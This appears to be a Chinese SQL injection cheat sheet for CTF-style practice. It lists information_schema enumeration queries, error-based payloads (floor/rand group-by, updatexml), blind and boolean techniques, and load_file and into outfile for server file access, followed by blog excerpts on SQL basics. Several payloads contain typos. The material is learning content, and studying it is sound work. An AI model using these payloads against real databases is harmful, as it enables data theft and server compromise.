查庫
select schema_name from information_schema.schemata;
查表
select table_name from information_schema.
tables
where table_schema=
'資料庫名'
查列:
select column_name from information_schema.
columns
where table_name=
'表名'
查字段
select
*from 表名.列名
system_user()
// 顯示系統使用者
user()
// 目前登陸使用者
session_user()
// 連線資料庫的使用者名稱
database()
// 當前資料庫
version(
)// 資料庫版本資訊
@@datadir
// 資料庫路徑
@@version_compile_os
// 當前作業系統版本
count()
// 總個數
group
by// 分組
floor(
)// 向下取整,去掉小數部分
rand(
)// 0-1隨機取數
// 當rang(0)時,傳入floor()
floor(rang(0)
*2)// 序列0110110
**原理:**報錯的時候會把資料庫名爆出來
select
count(*
),(concat(floor(rand(0)
*2),
0x26,(
select
database()
)))x from users group
by x;
// group by 查詢時,先建立乙個空表
upadtexml(
)extractvalue(
)updatexml(
1,2,concat(
0x7e,(
database()
),0x7e))
// 最大長度32位
// left(a,b)從左擷取a的前b位,正確則返回1,錯誤則返回0
left()
left
(database()
,1)=
's'// user的結果是root,regexp為匹配root的正規表示式
regexp
select
user()
regexp
'r'// 匹配與regexp相似
like
select
user()
like
'ro%'
if(condition,a,b)
// 如果condition為true,則執行語句a,否則執行b
// 例:select if(1>2,4,5) 返回的結果是5
// substr(a,b,c)從位置b開始,擷取a字串c位長度
// 匹配第乙個字元是否是's'
substr(a,b,c)
select substr(
select,1
,1)=
's'// 長度
length(
)//
benchmark(
)// 將某個字串轉化為ascii值
ascii(
)// 在python中
char
(數字)
= 字元
ord(
'字元'
)= 數字
// 讀取本地檔案
load_file(
)select load_file(
'檔案路徑'
);// 寫檔案
into
outfile
select
'mysql is very good'
into outlife 'test.txt'
; 注意:報錯時應使用://
sql注入的基本知識
我們看到的sql注入類題目經常包含直接在資料庫的系統資料庫類來得到資訊,這個資料庫的名字為information schema這個資料庫便是系統的資料庫,用來儲存我們建立的資料庫和資料表的基本資訊,而我接下來介紹的便是對這個資料庫的認識。我們可以檢視information schema這個資料庫裡有...
SQL基本知識
什麼是sql資料庫?資料庫是用來存放您的會員資料的地方,而空間是存放您的網頁的地方,資料庫一般有兩種,access 和 mysql 其區別就在於access一般用於會員資料比較小的 而mysql一般用於會員比較多的 我們採用的是mysql資料庫。什麼是mysql?mysql是乙個多使用者 多執行緒的...
SQL基本知識
1 資料庫結構 以mysql為例,mysql伺服器裡面可以有多個資料庫,乙個資料庫裡面可以有多張表 一般而言,乙個系統 軟體,專案 就設計乙個資料庫,乙個資料庫裡面設計多張表,每一張表對應乙個實體類 2.什麼是sql?structure query language 結構化查詢語言 通過sql語句可...